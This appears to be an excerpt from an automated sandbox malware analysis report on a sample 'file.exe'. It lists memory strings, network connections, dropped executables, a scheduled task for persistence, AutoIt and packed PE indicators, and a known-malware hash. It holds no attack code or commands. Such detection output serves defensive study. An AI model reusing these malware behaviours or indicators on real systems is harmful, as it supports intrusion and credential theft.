Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55646000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D573000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D55903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2795971975.0000001237D7C000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D58467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001A.00000002.2804563025.0000014D506E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D556B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: file.exe, 00000000.00000003.2226516704.00000000053DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cm
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.tsn.ca
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.wykop.pl/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001A.00000002.2849808862.0000014D574AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806034129.0000014D5121A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DAB2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000002.2862333210.0000014D5D434000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2849808862.0000014D574DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854529746.0000014D584BF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850461327.0000014D575B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D54819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D552F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D580000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D55987000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2832616039.0000014D56273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801575464.0000014D44D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801099409.0000014D44B30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.2668586747.000001FE6AEAF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2676143474.000001F074A79000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801394210.0000014D44BB9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.2802302794.0000014D46A9C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPOR
Source: firefox.exe, 0000001A.00000002.2802302794.0000014D469D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2811968584.0000014D52703000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdt
Source: unknown Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49951 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50020 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50057 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50058 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50094 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50115 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50121 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50120 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50122 version: TLS 1.2

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: 2155b53b29.exe, 0000000D.00000000.2625523027.0000000000F42000.00000002.00000001.01000000.00000011.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_d4e92c23-0
Source: 2155b53b29.exe, 0000000D.00000000.2625523027.0000000000F42000.00000002.00000001.01000000.00000011.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_9b8d367a-1
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: section name:
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: section name: .idata
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: section name:
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name:
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name: .rsrc
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name: .idata
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name:
Source: A77BGJTTW6SX9ESX.exe.0.dr Static PE information: section name:
Source: A77BGJTTW6SX9ESX.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.3.dr Static PE information: section name:
Source: skotes.exe.3.dr Static PE information: section name: .idata
Source: skotes.exe.3.dr Static PE information: section name:
Source: random[1].exe.5.dr Static PE information: section name:
Source: random[1].exe.5.dr Static PE information: section name: .rsrc
Source: random[1].exe.5.dr Static PE information: section name: .idata
Source: dbec6bb1cf.exe.5.dr Static PE information: section name:
Source: dbec6bb1cf.exe.5.dr Static PE information: section name: .rsrc
Source: dbec6bb1cf.exe.5.dr Static PE information: section name: .idata
Source: random[1].exe0.5.dr Static PE information: section name:
Source: random[1].exe0.5.dr Static PE information: section name: .rsrc
Source: random[1].exe0.5.dr Static PE information: section name: .idata
Source: random[1].exe0.5.dr Static PE information: section name:
Source: de379087e7.exe.5.dr Static PE information: section name:
Source: de379087e7.exe.5.dr Static PE information: section name: .rsrc
Source: de379087e7.exe.5.dr Static PE information: section name: .idata
Source: de379087e7.exe.5.dr Static PE information: section name:
PE file has a writeable .text section
Source: num[1].exe.5.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.5.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process Stats: CPU usage > 49%
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B7A8BE 0_3_00B7A8BE
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004B0228 9_2_004B0228
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004AA850 9_2_004AA850
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004B2030 9_2_004B2030
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004EA0D0 9_2_004EA0D0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004DE8A0 9_2_004DE8A0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004AE1A0 9_2_004AE1A0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004E4A40 9_2_004E4A40
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004CC470 9_2_004CC470
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004CCCD0 9_2_004CCCD0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004B4487 9_2_004B4487
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004B049B 9_2_004B049B
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004A7CA4 9_2_004A7CA4
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004CFD10 9_2_004CFD10
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004BC5F0 9_2_004BC5F0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004A8590 9_2_004A8590
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004A35B0 9_2_004A35B0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004B6EBF 9_2_004B6EBF
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004ABEB0 9_2_004ABEB0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: 9_2_004AAF10 9_2_004AAF10
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Code function: String function: 004BD300 appears 47 times
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: ZLIB complexity 0.9991426877062707
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: Section: ZLIB complexity 0.9982597496594006
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: Section: wcmebtxw ZLIB complexity 0.9944089114010989
